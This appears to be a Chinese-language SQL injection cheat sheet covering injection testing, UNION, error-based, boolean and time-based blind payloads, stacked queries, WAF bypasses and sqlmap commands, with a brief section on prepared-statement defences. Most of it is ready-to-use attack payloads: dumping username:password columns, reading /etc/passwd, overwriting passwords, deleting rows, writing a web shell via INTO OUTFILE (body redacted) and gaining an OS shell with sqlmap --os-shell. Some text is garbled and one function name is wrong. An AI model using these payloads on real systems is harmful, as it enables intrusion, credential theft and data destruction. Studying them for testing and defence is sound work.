一、注入类型判断

SQL注入按照参数类型可分为数字型和字符型,按照闭合方式可分为单引号、双引号、括号等多种组合。

数字型

SQL

Auto

Auto

Auto

?id=1 and 1=1    正常
?id=1 and 1=2    异常

字符型(单引号)

SQL

Auto

Auto

Auto

?id=1' and '1'='1   正常
?id=1' and '1'='2   异常

其他闭合方式

SQL

Auto

Auto

Auto

?id=1') and ('1')=('1
?id=1')) and (('1'))=(('1
?id=1" and "1"="1
?id=1\  # 转义测试

查看所有列(order by)

SQL

Auto

Auto

Auto

order by 1--+
order by 2--+

二、联合查询注入

判断列数

SQL

Auto

Auto

Auto

order by n--+  # 递增n直到出错

判断显示位

SQL

Auto

Auto

Auto

?id=-1 union select 1,2,3,4,5--+

获取基础信息

SQL

Auto

Auto

Auto

union select version(),database(),user(),@@version_compile_os--+

爆数据库

SQL

Auto

Auto

Auto

union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表

SQL

Auto

Auto

Auto

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

SQL

Auto

Auto

Auto

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据

SQL

Auto

Auto

Auto

union select 1,group_concat(username,':',password),3 from users--+

三、报错注入

updatexml(32位限制)

SQL

Auto

Auto

Auto

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

extractvalue(32位限制)

and extractvalue(1,concat(0x7e,(select user())))--+

floor+rand(重复触发)

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

空间函数报错

and geometrycollection((select * from(select * from(select user())a)b))--+
and multipoint((select * from(select * from(select user())a)b))--+
and polygon((select * from(select * from(select user())a)b))--+

四、布尔盲注

逐字符判断

and ascii(substr((select database()),1,1))>100--+

二分法优化

and ascii(substr((select database()),1,1)) between 97 and 122--+

使用正则

and (select database()) regexp '^[a-z]'--+
and (select database()) regexp '^a'--+

使用like

and (select database()) like 'a%'--+

五、时间盲注

MySQL延时

and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+

sleep被过滤 - 笛卡尔积延时

and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)--+

PostgreSQL延&��

and (select pg_sleep(5) from pg_class limit 1)--+

大量计算延时

and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)--+

⚠️ 注意事项:带外查询需要 MySQL 有 network 权限(secure_file_priv 不能限制)。


六 堆叠注入

?id=1; select if(sub(database(),1,1)='a',sleep(3),0)--+
?query=1; CREATE TABLE test (data VARCHAR(100));
?query=1; INSERT INTO test VALUES ('test');
?query=1; DELETE FROM test;
?id=1; update users set password='newpass' where id=1--+

注意:堆叠注入可以执行多条语句,但受限于数据库驱动和API支持。MySQL原生支持,但PHP的mysqli默认不支持多条语句,社见使用mysqli_multi_query()


七、文件操作注入

读文件

union select 1,load_file('/etc/passwd'),3--+
union select 1,hex(load_file('/var/www/html/index.php')),3--+  # 读取PHP源码

写文件

union select 1,"[WEBSHELL_PAYLOAD_REMOVED_FOR_SECURITY]",3 into outfile '/var/www/html/shell.php'--+
union select 1,"[WEBSHELL_PAYLOAD_REMOVED_FOR_SECURITY]",3 into dumpfile '/var/www/html/shell.php'--+

注意:写文件需要 secure_file_priv 允许,且 MySQL 用户有 FILE 权限。


八、WAF绕过技巧

注释绕过

uni/**/on sele/**/ct 1,2,3--+
/**!union*/ /**!select*/ 1,2,3--+

大小写绕过

UnIoN SeLeCt 1,2,3--+

双写绕过

UNUNIONION SELSELECTECT 1,2,3--+
anandd 1=1--+

编码绕过

十六进制: 0x7573657273 (users)
宽字节: %df\x27 (GBK编码)

等价函数替换

substr() → substring() / mid()
ascii() → ord()
sleep() → benchmark()
@@datadir → @@tmpdir

HTTP参数污染(HPP)

?id=1&id=2&id=3  # 不同中间件取最后一个或第一个参数
?id=1/**&id=-1 union select 1,2,3--+  # Apache取最后一个

九、SQL注入防御

预编译︈PreparedStatement)

// Java示例
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, id);
ResultSet rs = pstmt.executeQuery();

白名单验证

对数字参数进行类型检查,对字符串参数过滤特殊字符。

最小权限原则

数据库连接账户只授予必要的权限(SELECT、INSERT等),不授予FILE权限。


十、sqlmap速查

 基础检测
sqlmap -u "http://target.com/page?id=1"

# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取�R
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

# 带Cookie
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123"

# POST请求
sqlmap -u "http://target.com/page" --data="username=admin&password=123"

# 指定注入点
sqlmap -u "http://target.com/page?id=1*"

# 等级和飊险
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2

# 批量检测
sqlmap -m urls.txt

# 获取shell
sqlmap -u "http://target.com/page?id=1" --os-shell

📚 参考链接: